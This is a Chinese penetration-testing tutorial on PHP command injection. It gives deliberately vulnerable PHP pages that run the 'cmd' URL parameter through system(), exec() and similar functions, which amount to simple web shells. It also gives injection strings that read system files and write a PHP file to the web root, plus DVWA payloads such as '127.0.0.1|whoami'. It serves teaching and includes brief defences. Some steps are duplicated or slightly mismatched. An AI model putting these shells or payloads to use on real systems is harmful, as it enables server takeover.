2022渗透测试-命令执行漏洞的详细讲解

简介: 渗透测试-命令执行漏洞的详细讲解

命令执行

原理以及成因

程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。  应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。  1. 用户输入作为拼接  2. 没有足够的过滤

漏洞危害

1. 继承Web 服务器程序权限(Web 用户权限),去执行系统命令

   2. 继承Web 服务器权限,读写文件

   3. 反弹Shell

   4. 控制整个网站

   5. 控制整个服务器

相关函数

    • system()
      system() 能够将字符串作为OS 命令执行,自带输出功能。测试代码如下

    <?php

    header("Content-type: text/html; charset=gb2312");

    if(isset($_GET['cmd'])){

       echo "<pre>";

       system($_GET['cmd']);

    }else{

       echo"

       ?cmd=ipconfig

       ";

    }

    ?>

    image.gif编辑

      • exec()
        exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。测试代码如下 ----exec.php

      <?php

      <meta charset="gb2312">

      <?php

      if(isset($_GET['cmd'])){

         echo "<pre>";

         print exec($_GET['cmd']);

      }else{

         echo"

         ?cmd=whoami

         ";

      }

      ?>

      <meta charset="gb2312"> <?php if(isset($_GET['cmd'])){ echo "<pre>"; print exec($_GET['cmd']); }else{ echo" ?cmd=whoami "; } ?> ---- ### shell_exec() 测试代码如下

      <?php

      echo "<pre>";

      header("Content-type: text/html; charset=gb2312");

      if(isset($_GET['cmd'])){

         print shell_exec($_GET['cmd']);

      }else{

         echo"?cmd=whoami";

      }

      ?>

      image.gif编辑


        • passthru()
          测试代码如下 ----passthru.php

        <?php

        if(isset($_GET['cmd'])){

        passthru($_GET['cmd']);

        }else{

        echo"?cmd=whoami";

        }

        ?>


          • popen()
            popen() 也能够执行OS 命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。 测试代码如下 ----popen.php

          <?php

          if(isset($_GET['cmd'])){

          $cmd=$_GET['cmd'].">> 1.txt";

          popen($cmd,'r');

          }else{

          echo"?cmd=whoami";

          }

          ?>


          查看1.txt 文件

          image.gif编辑

          image.gif编辑

            • 反引号
              反引号[``] 内的字符串,也会被解析成OS 命令。 测试代码如下

            <?php

            if(isset($_GET['cmd'])){

               $cmd=$_GET['cmd'];

               print `$cmd`;

            }else{

               echo"?cmd=whoami";

            }

            ?>

            漏洞利用

            OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。

              • 查看系统文件 提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统hosts 文件。
                image.gif编辑
              • 显示当前路径 提交参数[?cmd=cd]
                image.gif编辑
              • 写文件

              提交参数

              [?cmd=echo "<?php phpinfo();?>" > D:\ruanjian\phpstudy\phpstudy_pro\WWW\minlingzhuru]页面没有报错,说明文件写入成功。访问shell.php 文件。

              • 提交参数[?cmd=echo "<?php phpinfo();?>" > D:\ruanjian\phpstudy\phpstudy_pro\WWW\minlingzhuru]
                页面没有报错,说明文件写入成功。访问shell.php 文件。

              防御方法

              1. 尽量减少命令执行函数的使用,并在disable_functions 中禁用  2. 在进入命令执行的函数或方法之前,对参数进行过滤  3. 参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义

              DVWA 命令注入

              low 127.0.0.1| whoami 127.0.0.1|whoami 127.0.0.1&&whoami 127.0.0.1;whoami ? 127.0.0.0.1||whoami medium 127.0.0.1| whoami 127.0.0.1|whoami 127.0.0.0.1||whoami 127.0.0.1&&&&whoami x

              high

              相关文章
              |
              1月前
              |
              弹性计算 安全 Linux
              阿里云国际版使用ping命令测试ECS云服务器不通的排查方法
              阿里云国际版使用ping命令测试ECS云服务器不通的排查方法
              |
              1月前
              |
              分布式计算 监控 Hadoop
              Hadoop-29 ZooKeeper集群 Watcher机制 工作原理 与 ZK基本命令 测试集群效果 3台公网云服务器
              Hadoop-29 ZooKeeper集群 Watcher机制 工作原理 与 ZK基本命令 测试集群效果 3台公网云服务器
              42 1
              |
              1月前
              |
              安全 程序员 网络安全
              Kali渗透测试:对软件的溢出漏洞进行测试
              Kali渗透测试:对软件的溢出漏洞进行测试
              |
              2月前
              |
              关系型数据库 MySQL 数据库
              6-2|测试连接数据库的命令
              6-2|测试连接数据库的命令
              |
              2月前
              |
              安全 Java 应用服务中间件
              渗透测试-JBoss 5.x/6.x反序列化漏洞
              渗透测试-JBoss 5.x/6.x反序列化漏洞
              53 14
              |
              1月前
              |
              安全 网络协议 Linux
              Kali渗透测试:使用Armitage针对漏洞进行攻击
              Kali渗透测试:使用Armitage针对漏洞进行攻击
              |
              2月前
              |
              安全 网络安全 数据安全/隐私保护
              渗透测试-Openssl心脏出血漏洞复现
              渗透测试-Openssl心脏出血漏洞复现
              114 7
              |
              2月前
              |
              安全 测试技术 Linux
              CentOS7 安装vulhub漏洞测试环境
              CentOS7 安装vulhub漏洞测试环境
              |
              3月前
              |
              安全 应用服务中间件 网络安全
              Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
              Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
              54 11
              |
              3月前
              【Application Insights】使用Powershell命令向Application Insgihts发送测试数据
              【Application Insights】使用Powershell命令向Application Insgihts发送测试数据
              下一篇
              无影云桌面